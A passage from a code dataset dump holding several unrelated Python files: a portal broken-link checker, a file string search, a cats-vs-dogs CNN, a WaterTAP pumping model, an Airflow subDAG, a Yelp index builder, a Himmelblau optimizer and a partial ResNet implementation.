'org_name_fr': record['organization']['title'].split('|')[-1],\n                                       'name_en': res['name_translated']['en'],\n                                       'name_fr': res['name_translated']['fr'],\n                                       'year': timestamp.year if timestamp else None,\n                                       'month': timestamp.month if timestamp else None,\n                                       'link': url,\n                                       })\n    \n\n        #write to csv\n        count, count2 = 0, 0\n        portal_type_dict = {'dataset': \"Open Data / Données ouvertes\",\n                            'info': \"Open Information / Information ouverte\",\n                            }\n        for id, res in data.items():\n            status = res['status'] if res['status']!= -1 else 'timeout / temps libre'\n            portal_type = portal_type_dict.get(res['portal_type'], None)\n            line=[res['metadata_id'], portal_type, res['record_name_en'], res['record_name_fr'],\n                  res['org_name_en'], res['org_name_fr'], res['name_en'], res['name_fr'],\n                  res['year'], res['month'], res['link'], status]\n            out.writerow(line)\n            count += 1\n            if status == 'timeout / temps libre':\n                count2 += 1\n        outf.close()\n        print(self.env.info())\n        print(self.env.stat())\n        print('total {0} dumped, timeout_count {1}'.format(count, count2))\n\n    def searchUrl(self, url):\n        with self.env.begin() as txn:\n            details =txn.get(url.encode('utf-8'))\n            if details:\n                details = json.loads(details.decode('utf-8'))\n                print(details)\n            else:\n                print('Not found')\n\n    def addOrg(self):\n        for records in self.download():\n            urls = {}\n            with self.env.begin() as txn:\n                for record in records:\n                    for res in record['resources']:\n                        if (not res['url_type']) and res.get('url'):\n                            url= res['url']\n                            try:\n                                details =txn.get(url.encode('utf-8'))\n                            except:\n                                traceback.print_exc()\n                                sys.exit(-1)\n                            if details:\n                                details = json.loads(details.decode('utf-8'))\n                                if (not details.get('org')) and record.get('organization'):\n                                    try:\n                                        details['org']={'name': record['organization']['name'],\n                                                        'title': record['organization']['title']}\n                                        urls[url] = details\n                                    except:\n                                        pass\n            with self.env.begin(write=True) as txn:\n                for url, details in urls.items():\n                    txn.put(url.encode('utf-8'), json.dumps(details).encode('utf-8'))\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Search portal records broken resource link')\n    parser.add_argument(\"--file\", dest=\"file\", help=\"site file\")\n    parser.add_argument(\"--quiet\", dest=\"verbose\",default=True)\n    parser.add_argument(\"--dump\", dest=\"dump\",action='store_true',default=False)\n    parser.add_argument(\"--search\", dest=\"search\")\n    parser.add_argument(\"--org\", dest=\"org\", action='store_true',default=False)\n\n    options = parser.parse_args()\n\n    user_agent = None\n\n    site = Records(options.file, options.verbose)\n    if options.dump:\n        site.dumpBrokenLink_v2()\n        return\n    elif options.search:\n        site.searchUrl(options.search)\n        return\n    elif options.org:\n        site.addOrg()\n        return\n    site.get_resources()\n\n\nif __name__ == '__main__':\n    main()\n    sys.exit(0)\n","sub_path":"browse_resources.py","file_name":"browse_resources.py","file_ext":"py","file_size_in_byte":15101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"191343924","text":"import os\nimport time\nfrom collections import defaultdict\nimport inspect\n\nIMPORT_WORDS = ['import', 'from']\n\ndef find_in_files(root_dir, f_types_list, seek_strings_list):\n    \"\"\"search files in a directory tree for strings\n    \n    Args:\n        root_dir:           search tree root\n        f_types_list:       list of file extensions (with '.') like ['.py', '.wdl', '.json', 'etc']\n        seek_strings_list:  list of strings to hunt for in files of f-type in the code-rood_dir\n        \n    Returns:\n        file_targets_line:  dict of file-names: dict of locations for seed strings\n        target_files_dict:  dict of seek-list-string: to list of files containing it\n                            (empty if no seek_list strings found)\n    \"\"\"\n    search_start_time = time.time()\n    number_of_files_checked = 0\n    \n    # initialize the (empty) return values\n    file_targets_line = defaultdict(dict)\n    target_files_dict =  defaultdict(list)\n    \n    # fail immediately if the root directory is not available\n    if not os.path.isdir(root_dir):\n        print('Unable to locate root directory:\\n', root_dir)\n        return file_targets_line, target_files_dict\n    \n    # guard the file types list input\n    if isinstance(f_types_list, str):\n        f_types = [f_types_list]\n    elif isinstance(f_types_list, list):\n        f_types = f_types_list\n    else:\n        print('Unable to process file types input. Need: [\".py\", \".ipynb\"]\\nGot:\\n', f_types_list)\n        return file_targets_line, target_files_dict\n        \n    # guard user misuse where file extensions do not start with period character\n    for i in range(len(f_types_list)):\n        if f_types_list[i][0] != '.':\n            f_types_list[i] = ''.join('.', f_types_list[i])\n            \n    # guard the list of strings to find in the files of type\n    if isinstance(seek_strings_list, str):\n        seek_list = [seek_strings_list]\n    elif isinstance(seek_strings_list, list):\n        seek_list = seek_strings_list\n    else:\n        print('Bad seek string input. Need: [\"ducks\", \"turles\"]\\nGot:\\n', seek_strings_list)\n        return file_targets_line, target_files_dict\n        \n    # for every directory in the input root directory\n    for d, dl, fl in os.walk(root_dir):\n        \n        # for each file in that directory\n        for f in fl:\n            \n            # it the file is of one of the input types\n            if os.path.splitext(f)[1] in f_types:\n                \n                full_file = os.path.join(d, f)\n                \n                lines = []\n                \n                try:\n                    with open(full_file, 'r') as fh:\n                        lines = fh.readlines()\n                        \n                except:\n                    print('Unable to open file:\\n%s\\n', full_file)\n                    \n                finally:\n                    \n                    # if the file was opened and not empty\n                    if len(lines) > 0:\n                        number_of_files_checked += 1\n                        \n                        # read each line in the file\n                        for line_n in range(len(lines)):\n                            line = lines[line_n]\n                            \n                            # check each string in the input list\n                            for s in seek_list:\n                                \n                                if s in line:\n                                    \n                                    # append the dictionary of target_word : files\n                                    target_files_dict[s].append(full_file)\n                                    \n                                    # Note: this will require reader to use the same space replacement chars\n                                    s_line = s.replace(' ', '_')\n                                    \n                                    # add the line number to the dictionary of files.target_word : locations\n                                    if s_line in file_targets_line[full_file]:\n                                        file_targets_line[full_file][s_line].append(line_n)\n                                        \n                                    else:\n                                        file_targets_line[full_file][s_line] = [line_n]\n\n    # alphabetize the target-word : filename dictionary\n    if len(target_files_dict) > 1:\n        for k in target_files_dict.keys():\n            target_files_dict[k] = sorted(list(set(target_files_dict[k])))\n            \n    # Brag about it (er maybe not)\n    tt = time.time() - search_start_time\n    print('%s searched in %i files in %0.3f s'%(inspect.stack()[0][3], number_of_files_checked, tt))\n    \n    return file_targets_line, target_files_dict\n","sub_path":"src/stringy_stuff.py","file_name":"stringy_stuff.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"339991802","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\nimport os\nimport csv\nfrom random import shuffle\nimport tflearn\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.estimator import regression\nimport tensorflow as tf\n\ndir_train = '/home/srikumar/Desktop/ENPM673_Perception_for_autonomous_robots/Project6/train/'\ndir_test = '/home/srikumar/Desktop/ENPM673_Perception_for_autonomous_robots/Project6/test1/'\nsize= 200\nalpha = 0.001\nepoch = 15\nname = 'data-{}-{}-{}.model'.format(alpha,epoch, '2conv-basic')\n\ndef label_name(image):              #To split names to dog and  cats \n    name = image.split('.')[0]\n    if name =='cat':\n        return [1,0]\n    elif name=='dog':\n        return [0,1]\n    \ndef create_train_data():\n    training_data = []\n    for im in os.listdir(dir_train):\n        label = label_name(im)\n        path = os.path.join(dir_train,im)\n        new_img = cv2.resize(cv2.imread(path,cv2.IMREAD_GRAYSCALE), (size,size))\n        training_data.append([np.array(new_img),np.array(label)])\n    shuffle(training_data)          #To just shuffle data and make it random, and avoid overfitting\n    np.save('train_set.npy', training_data)\n    return training_data\n\n\ndef process_test_data():\n    test_data = []\n    for im in os.listdir(dir_test):\n        path = os.path.join(dir_test,im)\n        num = im.split('.')[0]\n        new_img = cv2.resize(cv2.imread(path,cv2.IMREAD_GRAYSCALE), (size,size))\n        test_data.append([np.array(new_img),num])\n    test_data.sort(key=lambda x:x[1])\n    shuffle(test_data)          #To just shuffle data and make it random, and avoid overfitting\n    np.save('test_set.npy', test_data)\n    return test_data\n\ndef validate_train_set(c_net,train_set):\n    \n    #First layer\n    #For ouput filter size - 32\n    c_net = conv_2d(c_net, 32, 3, activation='relu', padding='same')\n    c_net = max_pool_2d(c_net, 3)\n    \n    #Second layer\n    #For ouput filter size - 64\n    c_net = conv_2d(c_net, 64, 3, activation='relu')\n    c_net = max_pool_2d(c_net, 3)\n    \n    #Third layer\n    #For ouput filter size - 128\n    c_net = conv_2d(c_net, 128, 3, activation='relu')\n    c_net = max_pool_2d(c_net, 3)\n    \n    #Fourth layer\n    #For ouput filter size - 128\n    c_net = conv_2d(c_net, 64, 3, activation='relu')\n    c_net = max_pool_2d(c_net, 3)\n    \n    \n    #Fifth layer\n    #For ouput filter size - 128\n    c_net = conv_2d(c_net, 128, 3, activation='relu')\n    c_net = max_pool_2d(c_net, 3)\n        \n    #Sixth layer\n    #For ouput filter size - 64\n    c_net = conv_2d(c_net, 64, 3, activation='relu')\n    c_net = max_pool_2d(c_net, 3)\n    \n    #Seventh layer\n    #For ouput filter size - 32\n    c_net = conv_2d(c_net, 32, 3, activation='relu')\n    c_net = max_pool_2d(c_net, 3)\n    \n    #Fully connected layer with 'relu' activation\n    c_net = fully_connected(c_net, 1024, activation='relu')\n    \n    #drop_out to avoid over-fitting\n    c_net = dropout(c_net, 0.9)\n    \n    #Fully connected layer with 'softmax' activation\n    c_net = fully_connected(c_net, 2, activation='softmax')\n    c_net = regression(c_net, optimizer='adam', learning_rate = alpha, loss = 'categorical_crossentropy', name='targets')\n    \n    model = tflearn.DNN(c_net, tensorboard_dir='log')\n    \n    if os.path.exists('{}.meta'.format(name)):\n        model.load(name)\n        print('model loaded!')\n        return model\n    \n    #Creating 2 new list from train_set and labling them as testing and training sub data sets\n    train_sub = train_set[:-2500]    #choosing 24000 sets as train dataset \n    test_sub = train_set[-2500:]     #choosing last 1000 as the test dataset\n    \n    #for fit\n    train_x = np.array([i[0] for i in train_sub]).reshape(-1, size, size, 1)\n    train_y = [i[1] for i in train_sub]\n    \n    #for testing accuracy\n    test_x = np.array([i[0] for i in test_sub]).reshape(-1, size, size, 1)\n    test_y = [i[1] for i in test_sub]\n    \n    model.fit({'input': train_x}, {'targets': train_y}, n_epoch=epoch, validation_set=({'input': test_x}, {'targets': test_y}),snapshot_step=500, show_metric=True)\n    model.save(name)\n    \n    return model\n    \ndef run_for_test(model,test_set):\n    fig=plt.figure()\n    \n    print(\"writing onto files: \\n\")\n    \n    with open('submission_file.csv','w') as f:\n        f.write('id,label\\n')\n     \n    with open('submission_file.csv','a') as f:\n        for data in test_set:\n            img_num = data[1]\n            img_data = data[0]\n            orig = img_data\n            data = img_data.reshape(size,size,1)\n            model_out = model.predict([data])[0]\n            f.write('{},{}\\n'.format(img_num,model_out[1]))\n        f.close()\n    \n    #For non rounded file \n    csv1 = 'submission_file.csv'\n    file = open(csv1, newline='\\n')\n    reader = csv.reader(file)\n    header = next(reader)\n    data = []\n    for row in reader:\n        img_num = int(row[0])\n        d_or_c = float(row[1])\n        data.append([img_num, d_or_c])\n    \n    data.sort(key = lambda x: x[0])\n    new_file = 'submission_file_sorted.csv'\n    file = open(new_file, 'w')\n    writer = csv.writer(file)\n    writer.writerow([\"id\", \"label\"])\n    for d in data:\n        writer.writerow([d[0],d[1]])   \n    for num,data in enumerate(test_set[:12]):\n        img_num = data[1]\n        img_data = data[0]\n    \n        y = fig.add_subplot(3,4,num+1)\n        orig = img_data\n        data = img_data.reshape(size,size,1)\n        model_out = model.predict([data])[0]\n    \n    # for rounded file\n    csv1 = 'submission_file.csv'\n    file = open(csv1, newline='\\n')\n    reader = csv.reader(file)\n    header = next(reader)\n    data = []\n    for row in reader:\n        img_num = int(row[0])\n        d_or_c = float(row[1])\n        if d_or_c > 0.5:\n            d_or_c = 1\n        else:\n            d_or_c = 0\n        data.append([img_num, d_or_c])\n    \n    data.sort(key = lambda x: x[0])\n    new_file = 'submission_file_roundedandsorted.csv'\n    file = open(new_file, 'w')\n    writer = csv.writer(file)\n    writer.writerow([\"id\", \"label\"])\n    for d in data:\n        writer.writerow([d[0],d[1]])   \n    for num,data in enumerate(test_set[:12]):\n        img_num = data[1]\n        img_data = data[0]\n    \n        y = fig.add_subplot(3,4,num+1)\n        orig = img_data\n        data = img_data.reshape(size,size,1)\n        model_out = model.predict([data])[0]\n    \n        if np.argmax(model_out) == 1: \n            str_label='Dog'\n        else: \n            str_label='Cat'\n        \n        y.imshow(orig,cmap='gray')\n        plt.title(str_label)\n        y.axes.get_xaxis().set_visible(False)\n        y.axes.get_yaxis().set_visible(False)\n    plt.show()\n    plt.savefig('cats_and_dogs_epoch_{}'.format(epoch))\n    plt.pause(10)\n\n    \n    \ndef main():\n    \n    #next four lines are to be executed just once - loading testing and training data sets\n    print(\"Creating training dataset... \\n\")\n    train_set = create_train_data()\n    print(\"Processing testing dataset... \\n\")\n    test_set = process_test_data()\n    \n    #to reset graph for every run\n    tf.reset_default_graph()\n    \n    #workaround for earlier verison of numpy to use np.load    \n    np_load_old = np.load\n    np.load = lambda *a,**k: np_load_old(*a, allow_pickle=True, **k)        # modify the default parameters of np.load\n    #loading training data\n    train_set = np.load('train_set.npy') #len 25000\n    test_set = np.load('test_set.npy')  #len 12500\n    #restoring to curret version\n    np.load = np_load_old\n        \n    #creating flattened image and sending as input\n    c_net = input_data(shape = [None,size,size,1], name='input')\n    \n    #training dataset validation and preparation\n    model = validate_train_set(c_net,train_set)\n    \n    #running for test dataset\n    run_for_test(model, test_set)\n    \nif __name__ == '__main__':\n    main()","sub_path":"Dogs and Cats detection - CNN/catsanddogs.py","file_name":"catsanddogs.py","file_ext":"py","file_size_in_byte":7841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"81527074","text":"#################################################################################\n# WaterTAP Copyright (c) 2020-2023, The Regents of the University of California,\n# through Lawrence Berkeley National Laboratory, Oak Ridge National Laboratory,\n# National Renewable Energy Laboratory, and National Energy Technology\n# Laboratory (subject to receipt of any required approvals from the U.S. Dept.\n# of Energy). All rights reserved.\n#\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and license\n# information, respectively. These files are also available online at the URL\n# \"https://github.com/watertap-org/watertap/\"\n#################################################################################\n\"\"\"\nThis module contains a zero-order representation of a water pumping station.\n\"\"\"\n\nfrom pyomo.environ import units as pyunits, Var\nfrom pyomo.common.config import ConfigValue, In\nfrom idaes.core import declare_process_block_class\nfrom watertap.core import build_pt, ZeroOrderBaseData\nfrom watertap.core.zero_order_electricity import _common\n\n# Some more information about this module\n__author__ = \"Adam Atia\"\n\n\n@declare_process_block_class(\"WaterPumpingStationZO\")\nclass WaterPumpingStationZOData(ZeroOrderBaseData):\n    \"\"\"\n    Zero-Order model for SW onshore intake operation.\n    \"\"\"\n\n    CONFIG = ZeroOrderBaseData.CONFIG()\n    CONFIG.declare(\n        \"fix_pump_power\",\n        ConfigValue(\n            default=True,\n            domain=In([True, False]),\n            description=\"Boolean flag for fixing pump power directly.\",\n            doc=\"\"\"Indicates whether pump power should be fixed by the user or not.\n        **default** - True.\n        **Valid values:** {\n        **True** -  pump power (variable name \"electricity\") will be fixed by user and lift_height will not be fixed,\n        **False** - pump power (variable name \"electricity\") is left unfixed and lift_height will be fixed,}\"\"\",\n        ),\n    )\n\n    def build(self):\n        super().build()\n\n        self._tech_type = \"water_pumping_station\"\n\n        build_pt(self)\n\n        # create electricity variable and add to performance dictionary\n        _common(self)\n\n        self.lift_height = Var(\n            self.flowsheet().time,\n            initialize=100,\n            units=pyunits.feet,\n            doc=\"Lift height for pump\",\n        )\n        self.eta_pump = Var(\n            self.flowsheet().time,\n            initialize=0.9,\n            units=pyunits.dimensionless,\n            doc=\"Efficiency of pump\",\n        )\n        self.eta_motor = Var(\n            self.flowsheet().time,\n            initialize=0.9,\n            units=pyunits.dimensionless,\n            doc=\"Efficiency of motor\",\n        )\n\n        self._fixed_perf_vars.append(self.eta_pump)\n        self._fixed_perf_vars.append(self.eta_motor)\n\n        if not self.config.fix_pump_power:\n            self._fixed_perf_vars.append(self.lift_height)\n        else:\n            self._fixed_perf_vars.append(self.electricity)\n\n        @self.Constraint(\n            self.flowsheet().time,\n            doc=\"Constraint for electricity consumption based on \" \"pump flowrate.\",\n        )\n        def electricity_consumption(b, t):\n            A = (\n                3960\n                * pyunits.gallon\n                * pyunits.foot\n                / pyunits.minute\n                / pyunits.horsepower\n            )\n            return b.electricity[t] == pyunits.convert(\n                b.properties[t].flow_vol\n                * b.lift_height[t]\n                / (A * b.eta_pump[t] * b.eta_motor[t]),\n                to_units=pyunits.kW,\n            )\n","sub_path":"watertap/unit_models/zero_order/water_pumping_station_zo.py","file_name":"water_pumping_station_zo.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"255108762","text":"from airflow.models import DAG\nfrom airflow.operators import DataQualityOperator\nfrom airflow.operators import LoadFactOperator\n\nimport load_statements\n\n\ndef load_facts(parent_dag_name, child_dag_name, start_date, redshift_conn_id):\n    dag = DAG(\n        '%s.%s' % (parent_dag_name, child_dag_name),\n        start_date=start_date,\n    )\n\n    load_fact_bookings = LoadFactOperator(\n        task_id='load_bookings',\n        dag=dag,\n        redshift_conn_id=redshift_conn_id,\n        sql=load_statements.LOAD_BOOKING_FACTS,\n        table='fact_bookings'\n    )\n\n    run_quality_checks_facts = DataQualityOperator(\n        task_id='data_quality_checks_facts',\n        dag=dag,\n        tables='fact_bookings',\n        redshift_conn_id=redshift_conn_id,\n        sql='SELECT COUNT(*) FROM {}'\n    )\n\n    load_fact_bookings >> run_quality_checks_facts\n\n    return dag\n","sub_path":"airflow/dags/sub_load_facts.py","file_name":"sub_load_facts.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"180623393","text":"import json\n\ndef try_replace(x, delim=''):\n    if not x:\n        return ''\n    return x.replace(',', delim)\n\ncounter = 0\n# Business data credit: https://www.yelp.com/dataset/documentation/main.\n# Only business data are used, no personal review information is necessary.\nwith open('/Users/swzheng/Downloads/yelp_dataset/yelp_academic_dataset_business.json', 'r') as fin, open('index.csv', 'w') as fout:\n    for json_line in fin.readlines():\n        if counter % 10000 == 0:\n            print('%d records inserted' % counter)\n        counter += 1\n        business_obj = json.loads(json_line)\n        fout.write('%s,%s,%s,%f,%f,%s\\n' % (\n            try_replace(business_obj['name']),\n            try_replace(business_obj['address']),\n            try_replace(business_obj['city']),\n            business_obj['latitude'],\n            business_obj['longitude'],\n        try_replace(business_obj['categories'], '.')))\n","sub_path":"build_index.py","file_name":"build_index.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"355068412","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport sys,os,shutil\nimport time\nimport random\nimport Optimization\nfrom optparse import OptionParser\nfrom subprocess import run,check_output\nimport damask\n\n#------------------------------------------------------------------------------------------------- #\n_ratio = None\nclass optimize(Optimization.Optimization):\n\n  def id(self,x):\n    return str(self.map2space(x[:self.dimension])).translate(str.maketrans(' []','___')) \n      \n#===========================================\n  def fitness(self,x):\n    if self.id(x) in self.locations:\n      self.curr_locations.append(np.append(x,self.locations[self.id(x)]))\n      return self.locations[self.id(x)]\n\n    xvalue        = self.map2space(x[:self.dimension])[0]\n    yvalue        = self.map2space(x[:self.dimension])[1]\n    fitness_value = (xvalue**2 + yvalue -11)**2 + (xvalue + yvalue**2 - 7 )**2               #https://en.wikipedia.org/wiki/Test_functions_for_optimization\n    print('fitness {}'.format(fitness_value))\n    self.locations[self.id(x)] = fitness_value\n   \n    if not options.concise:\n      with open('{}/output_gen{}_{}.log'.format(options.root,self.generation+1,self.id(x)),'a') as file:\n        file.write(\"\\n Generation %i \"%(self.generation+1))\n        file.write(\"\\n +++++++++++++++++++++++++++++++++ current fitness and points +++++++++++++++++++++++++++\\n\")\n        file.write(\"\\n fitness {}\".format(fitness_value))\n        file.write(\"\\n points {} parameters{}\".format(x[:self.dimension],self.map2space(x[:self.dimension])))\n        file.write(\"\\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\")\n      file.close() \n    \n    return fitness_value\n\n#-------------------------------- main program starts here ----------------------------------------- #\n\nparser = OptionParser()\nparser.add_option(      '--root',\n                  dest = 'root',\n                  type = 'string', metavar = 'string',\n                  help = ' desired root of this process ')\nparser.add_option('--restart',  action=\"store_true\",\n                  dest=\"restart\",\n                  help=\"restart optimization\")\nparser.add_option('-c','--concise',  action=\"store_true\",\n                  dest=\"concise\",\n                  help=\"concise outputs\")\nparser.add_option(      '--points',\n                  dest = 'points_data',\n                  type = 'string', metavar = 'string',\n                  help = 'points for next generation ')\n\n#making the default values and let them show\nparser.set_defaults( concise = False,\n                   )\n(options,filenames) = parser.parse_args()\n\n\noptions.root = os.path.dirname(os.path.realpath(__file__)) if options.root == None else options.root\n\ntick = time.time()\nif options.restart:\n\n  table1 = damask.ASCIItable(name = options.points_data, buffered = False)\n  table1.head_read()\n  table1.data_readArray()\n\n  theOptimizer = optimize( method          = 'neldermead',\n                           bounds          = np.array([[-10,10],\n                                                       [-10,10],\n                                                     ]),\n                           tolerance       = 0.01,\n                           root            = options.root,\n                           concise_outputs = options.concise,\n                           rigid           = True,\n                           restart         = True,\n                           points_rs       = table1.data,\n                           )\nelse:\n  theOptimizer = optimize(method           = 'neldermead',\n                           bounds          = np.array([[-10,10],\n                                                       [-10,10],\n                                                     ]),\n                           tolerance       = 0.01,\n                           root            = options.root,\n                           concise_outputs = options.concise,\n                           rigid           = True,\n                           )\n\ntheOptimizer.optimize(verbose = False)\ntock = time.time()\nprint(\"Time for simulation\",(tock - tick))\nprint(\"Cost {}\".format(theOptimizer.cost()))\nprint(\"Best parameters and fitness {}\".format(theOptimizer.best()))\nwith open(\"{}/output_{}.log\".format(options.root,theOptimizer.method),'a') as file:\n  file.write(\"\\nTime for simulation {}\".format(tock - tick))\n  file.write(\"\\nCost {}\".format(theOptimizer.cost()))\n  file.write(\"\\nBest parameters and fitness {}\".format(theOptimizer.best()))","sub_path":"ExampleOptimization/test_HimmelblauNM/abaqus_optimize_Himmelblau_masterCode_NM.py","file_name":"abaqus_optimize_Himmelblau_masterCode_NM.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"208898997","text":"\"\"\"\n    ResNet from 'Deep Residual Learning for Image Recognition', Kaiming He et al, CVPR 2015\n\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.hub import load_state_dict_from_url\n\nfrom model.model_utils import register\n\n\n# resnet variants\n__all__ = [\n    'ResNet', 'resnet18', 'resnet34', 'resnet50', 'resnet101',\n    'resnet152', 'resnext50_32x4d', 'resnext101_32x8d',\n    'wide_resnet50_2', 'wide_resnet101_2'\n]\n\n# urls to pretrained resnet models\nmodel_urls = {\n    'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',\n    'resnet34': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',\n    'resnet50': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',\n    'resnet101': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',\n    'resnet152': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',\n    'resnext50_32x4d': 'https://download.pytorch.org/models/resnext50_32x4d-7cdf4587.pth',\n    'resnext101_32x8d': 'https://download.pytorch.org/models/resnext101_32x8d-8ba56ff5.pth',\n    'wide_resnet50_2': 'https://download.pytorch.org/models/wide_resnet50_2-95faca4d.pth',\n    'wide_resnet101_2': 'https://download.pytorch.org/models/wide_resnet101_2-32ee1156.pth',\n}\n\n# define a conv-3x3 layer with padding\ndef conv3x3(in_planes, out_planes, stride=1, groups=1, dilation=1):\n    \"\"\" 3x3 convolution with padding \"\"\"\n    return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=dilation,\n                     groups=groups, bias=False, dilation=dilation)\n\n\n# define a conv-1x1 layer -> used often, for simplicity\ndef conv1x1(in_planes, out_planes, stride=1):\n    \"\"\" 1x1 convolution \"\"\"\n    return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass BasicBlock(nn.Module):\n    \"\"\"\n    Basic res-block for resnet\n\n    structure: conv-3x3 -> bn -> relu -> conv-3x3 -> bn -> skip-connect -> relu\n\n    input dimension = batch_size x inplanes x H x H\n    output dimension = batch_size x planes x H/stride x H/stride\n\n    \"\"\"\n\n    expansion = 1\n\n    def __init__(self, inplanes: int, planes: int, stride=1, downsample=None, groups=1,\n                 base_width=64, dilation=1, norm_layer=None):\n        \"\"\"\n        Constructor\n\n        Args:\n            inplanes: (int) number of input channels\n            planes: (int) number of output channels\n            stride: (int) stride\n            downsample: () downsamples output fmaps -> require dimension matching for skip connection; must set if stride > 1\n            groups: (int) BasicBlock only supports default=1\n            base_width: (int) BasicBlock only supports default=64\n            dilation: (int) dilated convolution; only supports default=1\n            norm_layer: (nn.Module) normalization; default=BatchNorm2d\n\n        base_width & groups are interfaces for BottleNeck block, here it is fixed to width=64 and groups=1 for no bottleneck\n\n        \"\"\"\n\n        super(BasicBlock, self).__init__()\n        if norm_layer is None:\n            norm_layer = nn.BatchNorm2d\n        if groups != 1 or base_width != 64:\n            raise ValueError('BasicBlock class only supports groups=1 and base_width=64')\n        if dilation > 1:\n            raise ValueError('BasicBlock class only supports dilation=1')\n\n        self.conv1 = conv3x3(inplanes, planes, stride)\n        self.bn1 = norm_layer(planes)\n        self.conv2 = conv3x3(planes, planes)\n        self.bn2 = norm_layer(planes)\n        self.downsample = downsample\n        self.stride = stride\n\n        self.dropout = nn.Dropout(p=0.2)\n\n    def _forward_imp1(self, x):\n        \"\"\" forward method: no dropout \"\"\"\n        identity = x                                            # batch_size x inplanes x H x H\n\n        out = self.bn1(self.conv1(x))                           # batch_size x planes x H/stride x H/stride -> downsamples if stride > 1\n        out = F.relu(out, inplace=True)\n        out = self.bn2(self.conv2(out))                         # batch_size x planes x H/stride x H/stride -> maintain dimensions\n\n        if self.downsample is not None:\n            identity = self.downsample(x)\n\n        out += identity                                         # skip connection\n        out = F.relu(out, inplace=True)\n\n        return out                                              # batch_size x planes x H/stride x H/stride\n\n    def _forward_imp2(self, x):\n        \"\"\" forward method: dropout after each conv filter \"\"\"\n        identity = x                                            # batch_size x inplanes x H x H\n\n        out = self.bn1(self.conv1(x))                           # batch_size x planes x H/stride x H/stride -> downsamples if stride > 1\n        out = F.relu(out, inplace=True)\n        out = self.dropout(out)\n        out = self.bn2(self.conv2(out))                         # batch_size x planes x H/stride x H/stride -> maintain dimensions\n        out = self.dropout(out)\n\n        if self.downsample is not None:\n            identity = self.downsample(x)\n\n        out += identity                                         # skip connection\n        out = F.relu(out, inplace=True)\n\n        return out                                              # batch_size x planes x H/stride x H/stride\n\n    def forward(self, x):\n        \"\"\" forward method \"\"\"\n\n        return self._forward_imp2(x)\n\n\nclass BottleNeck(nn.Module):\n    \"\"\"\n    Bottle-necked block\n\n    structure: conv-1x1 (decrease width) -> bn/relu -> conv-3x3 (downsample?) -> bn/relu -> conv-1x1 (restore width) -> bn -> skip-connect concat -> relu\n\n    input dimension = batch_size x inplanes x H x H\n    output dimension = batch_size x planes*self.expansion x H/stride x H/stride\n\n    \"\"\"\n\n    expansion = 4\n\n    def __init__(self, inplanes, planes, stride=1, downsample=None, groups=1,\n                 base_width=64, dilation=1, norm_layer=None):\n        \"\"\"\n        Constructor\n\n        Args:\n            inplanes: (int) number of input channels\n            planes: (int) number of output channels = planes * self.expansion\n            stride: (int) stride\n            downsample: (nn.Module) downsamples output fmaps -> require dimension matching for skip connection; must set if stride > 1\n            groups: (int) number of groups\n            base_width: (int) number of channels per group\n            dilation: (int) dilated convolution\n            norm_layer: (nn.Module) normalization; default=BatchNorm2d\n\n        bottleneck width = planes * base_width / 64 * groups\n        - implemened as grouped convolution\n        - base_width and groups are used to accomodate implementation of ResNeXt and wide_ResNets\n            - for ResNeXt, specify bottleneck width = base_width and cardinality = groups\n            - for wide_ResNet, double base_width\n            - for vanilla ResNet, set base_width = 64, groups = 1, then bottleneck width = planes -> no bottleneck like BasicBlock\n                - can tweak base_width, groups to alter bottleneck widths\n\n        \"\"\"\n\n        super(BottleNeck, self).__init__()\n\n        if norm_layer is None:\n            norm_layer = nn.BatchNorm2d\n\n        # bottleneck width, implemented from grouped convolution\n        # in ResNeXt paper, base_width=4, groups=32, planes=256 -> width=128\n        width = int(planes * (base_width / 64.)) * groups\n\n        self.conv1 = conv1x1(inplanes, width)\n        self.bn1 = norm_layer(width)\n        self.conv2 = conv3x3(width, width, stride, groups, dilation)\n        self.bn2 = norm_layer(width)\n        self.conv3 = conv1x1(width, planes * self.expansion)\n        self.bn3 = norm_layer(planes * self.expansion)\n        self.relu = nn.ReLU(inplace=True)\n        self.downsample = downsample\n        self.stride = stride\n\n        self.dropout = nn.Dropout(p=0.2)\n\n    def _forward_imp1(self, x):\n        \"\"\" forward method for BottleNeck class: no dropout \"\"\"\n\n        identity = x                                                # batch_size x inplanes x H x H\n\n        out = self.relu(self.bn1(self.conv1(x)))                    # batch_size x width x H x H\n        out = self.relu(self.bn2(self.conv2(out)))                  # batch_size x width x H/stride x H/stride\n        out = self.bn3(self.conv3(out))                             # batch_size x planes*self.expansion x H/stride x H/stride\n\n        if self.downsample is not None:\n            identity = self.downsample(x)\n\n        out += identity                                             # skip connection\n        out = self.relu(out)\n\n        return out                                                  # batch_size x planes*self.expansion x H/stride x H/stride\n\n    def _forward_imp2(self, x):\n        \"\"\" forward method for BottleNeck class: dropout after each conv filter \"\"\"\n\n        identity = x                                                # batch_size 